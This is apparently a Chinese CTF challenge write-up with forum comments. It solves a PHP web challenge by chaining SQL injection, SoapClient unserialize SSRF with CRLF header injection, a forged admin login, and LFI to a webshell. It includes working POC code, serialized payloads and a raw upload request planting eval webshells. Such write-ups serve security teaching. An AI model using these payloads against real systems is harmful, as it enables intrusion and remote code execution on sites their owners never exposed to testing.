
预期解法

首先我们用脚本扫描目录得到

我们发现 index.php~

config.php~

我们猜测还有个 user.php~

这些文件都是被一些编辑器留下的备份文件

通过审计 index.php~, 我们可以看到目录 views, 这里可以列目录, 然后就可以得到剩下的源码

现在我们已经获得了全部的源码, 接下来就是代码审计环节了

首先我们审计 config.php~, 他对所有的输入用了 addslashes()

但是我们发现其他有趣的东西, 在函数 insert(), 我们发现他替换了所有的 [grave accent]xxx[grave accent] 到 'xxx', 所以就有机会进行注入

通过审计 user.php, 我们发现了一个利用点在 publish().

这个利用点的调用方式为 action=publish, 但是想要发布心情需要注册并登陆

index.php?action=register

index.php?action=login

你可以写脚本来过这些验证码

```
import multiprocessing
from os import urandom
from hashlib import md5
import sys
```

```
processor_number = 8
```

```
def work(cipher):
    for i in xrange(100):
        plain = urandom(16).encode('hex')
        if md5(plain).hexdigest()[:5] == cipher:
            print plain
            sys.exit(0)
```

```
if __name__ == '__main__':
    cipher = raw_input('md5:')
    print 'Processor Number:', multiprocessing.cpu_count()
    pool = multiprocessing.Pool(processes=processor_number)
    while True:
        plain = urandom(16).encode('hex')
        pool.apply_async(work, (cipher, ))
    pool.close()
    pool.join()
```

当我们成功登陆后, 开始测试sql注入

通过注入, 我们能获得库中的数据

```
table ctf_users
```

一些参赛选手私戳我说不知道如何去判断是不是admin, 通过审计代码, 很容易发现admin的索引

```
select * from ctf_users where is_admin<>0;
```

得到了用户名和密码的hash后, 我们可以通过公告里面的地址复原明文

`http://47.52.137.90:20000/getmd5.php?md5={your md5}`

或者使用一些在线的网站解密

`http://www.cmd5.org/`

密码是 `nulladmin`

但是你还是登录不了，为什么？

因为admin关闭了这个选项 `allow_diff_ip`，既不能异地登录

你必须来自 `127.0.0.1` 才行

我们来看下获取ip的函数 `getip()`

他看上去是让你绕过 `$_SERVER['REMOTE_ADDR']` 伪造ip，但是如果你能找到一个ssrf的话，同样可以以127.0.0.1的身份登录

SSRF在哪里呢？

在寻找SSRF的过程中我们发现了另一个漏洞：反序列化漏洞

他在 `user.php` 函数 `showmess()` 里

他看上去会因为sql注入引发反序列化漏洞。

所以我们可以注入

```
a`, {serialize object});#
```

到库中

然后他会在你访问

`index.php?action=index` 的时候触发

但是我们找不到一个可以利用的类

如果你看了 `phpinfo` 然后目标一开始就定在了 `SSRF`，你的思路在魔术函数上

你会发现一个类 `SoapClient`

这个类是用来创建soap数据报文，与wsdl接口进行交互的

它的成员函数有：

它的利用条件是

在这个题目里是ok的，在大多数情况也是ok的，基本等同于php的一个内置类。

这个类的用法如下

通过传入两个参数，第一个是 `$url`，既目标url，第二个参数是一个数组，里面是soap请求的一些参数和属性。

我们来查阅一下第二个参数(options)的相关介绍：

我们可以看到这个类传入的第一个参数为 `$wsdl`

控制是否是wsdl模式，如果为NULL，就是■wsdl模式。

如果是■wsdl模式，反序列化的时候就会对options中的url进行远程soap请求，

我们可以在 PHP 源码中看到

如果是wsdl模式，在序列化之前就会对\$`url`参数进行请求，从而无法可控序列化数据。

我们可以尝试：

```
<?php
$a = new SoapClient(null, array('location' => "http://123.206.216.198:8887",
                                'uri'      => "123"));

echo serialize($a);
?>
```

运行一下得到

```
O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://123.206.216.198:8887";s:13:"_soap_version";i:1;}
```

我在我的vps上执行 `nc -lvv 8887`

当我把这个序列化串传入 `unserialize` 然后执行一个SoapClient没有的成员函数时

你可以看到我成功获得了soap请求, 我们可以发现我们可控的地方是 `uri`

让我们从`__call`开始看下整个过程：

`options`参数是SoapClient的第二个参数

然后他被赋值给 `hto`

从`hto`中提取`uri`对应的值赋值给`uri`

然后把 `uri` 传给 `do_soap_call()`

`uri` 被添加到 `action`

然后 `action` 被传给 `do_request()`

`action` 被加到 `params` 里面

然后 `params` 被传入 `__doRequest()`

我们可以发现 `action` 被传入到里面了

然后 `action` 被传到 `make_http_soap_request()` 被命名为 `soapaction`

在它前后分别加上双引号就直接拼接到`header`里面了

最后完成整个请求过程

通过刚才的步骤我们发现如果把 `\x0d\x0a` 注入到 `SOAPAction` , 这个POST请求的部分`header`会被控制(CRLF)

但是我们不能控制 `Content-Type`,就不能控制POST的数据, 所以就不能登录admin。

继续阅读php源码, 我们发现

`user_agent` 选项同样可以造成 CRLF

在`header`里 `User-Agent` 在 `Content-Type` 前面, 我们我们可以很轻松的控制整个POST报文

我写了一个可以生成任意POST报文的POC

```
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
```

然后就可以生成一个admin登录的报文, 只要控制`phpsess`和你的相同,登录的验证码就和你的一样了。

```
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nulladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.

$aaa = serialize($b);
$aaa = str_replace('^^',"\\r\\n",$aaa);
$aaa = str_replace('&','&',$aaa);
```

最终的POC为

```
signature=aaa`,0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f63617469666
```

然后你可以刷新PHPSESSID=3stu05dr969ogmprk28drnju93的浏览器，你现在就是admin了~

让我们看看有关代码 config.php

如果你上传的文件包含 `<?php`,就会运行一个 `bash clean_danger.sh`
 你可以利用 LFI 读取这个 `bash`

如何绕过它呢？

当我们创建诸如 `-xaaaaaaaa.jpg` 的文件后
我们不能通过 `rm *` 或 `rm *.jpg` 删除它，除非 `rm -r adminpic/`

你可以发现 `short_open_tag = Off` 在 `phpinfo`

因为php版本高于5.4 你依然可以使用 <?= 拿到webshell

生成时间戳别忘了设置 `date_default_timezone_set("PRC");`

index.php?action=../../../../app/adminpic/-ensa15208146021.jpg

flag在数据库中，root的密码可以在/run.sh中找到

```
n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}
```

非预期解法

因为准备仓促，突然决定使用docker，所以随便pull了一个，没想到各种配置存在问题，所以导致以下非预期解法

session.upload

<http://php.net/manual/zh/session.upload-progress.php>

session.upload_progress.enabled这个参数在php.ini 默认开启，需要手动置为Off

如果不是Off，就会在上传的过程中生成上传进度文件，它的存储路径可以在phpinfo获取到

```
/var/lib/php5/sess_{your_php_session_id}
```

如果你构造一个这样的报文(from @berTrAM)，不断的向服务端发送

```
POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejhb9033m5mckb17

-----WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
-----WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php

<?php eval($_POST[1]);?>

-----WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream

< %eval request("a")%>

-----WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"

Submit
-----WebKitFormBoundary2rwkUEtFdqhGMHqV--
```

就会在

```
/var/lib/php5/sess_5uu8r952rejhb9033m5mckb17
```

不断刷新生成包含恶意php代码的文件

然后通过LFI包含这个文件

```
action=../../../../../../var/lib/php5/sess_5uu8r952rejhb9033m5mckb17
```

即可getshell

xdebug

通过pull下来这个docker可以发现

/var/www/phpinfo/index.php

是一个phpinfo

于是利用LFI包含这个文件，接下来就与rr师傅在whctf出的那道题一样了

<https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>

/tmp/临时文件竞争

虽然我设置了2秒一删tmp,但是因为

/var/www/phpinfo/index.php

的关系，可以获取正确的文件名，完全可以getshell

具体参考这位选手做法

http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-nlctf2018/

点击收藏 | 8 关注 | 3

[上一篇：敏信审计系列之DWR开发框架](#) [下一篇：针对Weblogic测试的一些小总结](#)

1. 11 条回复



[wupco](#) 2018-03-13 12:23:51

dockerfile及源码 => 已开源

https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php

2 回复Ta



[孤独世界](#) 2018-03-16 16:57:31

[@wupco](#) 搭建后 没法写日志权限，权限没设置好吗？

0 回复Ta



[GETF](#) 2018-03-16 21:59:27

[@wupco](#)

xdebug的那个有选手的writeup可以看下么？本地复现，phpinfo明显可见

```
xdebug.remote_enable => Off => Off  
xdebug.remote_connect_back => Off => Off
```

求教

0 回复Ta



[wupco](#) 2018-03-16 23:52:27

[@孤独世界](#) 怎么会呢？我阻塞docker就是通过tail -f 读日志文件的... 你是不是哪里搞错了..

0 回复Ta



[wupco](#) 2018-03-16 23:54:12

@GETF 因为我这个配的是hard php

, 即修复后的版本, 你在run.sh把有关删除xdebug命令删除就行了, 另外复现xdebug, 可以参考我上次参加whctf的过程 <http://www.wupco.cn/?p=4195>

0 回复Ta



[wupco](#) 2018-03-16 23:56:02

@GETF 或者这次比赛fp bendawang的writeup

<http://bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/>

他们是最先用xdebug的洞非预期的

0 回复Ta



[wupco](#) 2018-03-17 00:00:42

@GETF <https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/harder-php-769> 这里可以看到两个题run.sh的不同在哪。。方便你修改

0 回复Ta



[孤独世界](#) 2018-03-17 10:54:18

@wupco 就是说有读写apache日志的权限喽？

0 回复Ta



[wupco](#) 2018-03-17 12:48:50

@孤独世界 root肯定有啊。。。但你www肯定没有读的权限。。

0 回复Ta



[GETF](#) 2018-03-17 21:58:30

[@wupco](#)
谢谢wupco师傅，受教了
0 回复Ta



[沐目chen](#) 2019-11-08 11:36:54

文章的图片好像都没法看了，麻烦可以修复一下吗。感觉写的很不错，想细节拜读一下。

0 回复Ta

[登录](#) 后跟帖
先知社区

[现在登录](#)

热门节点

[技术文章](#)
[社区小黑板](#)
目录
[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)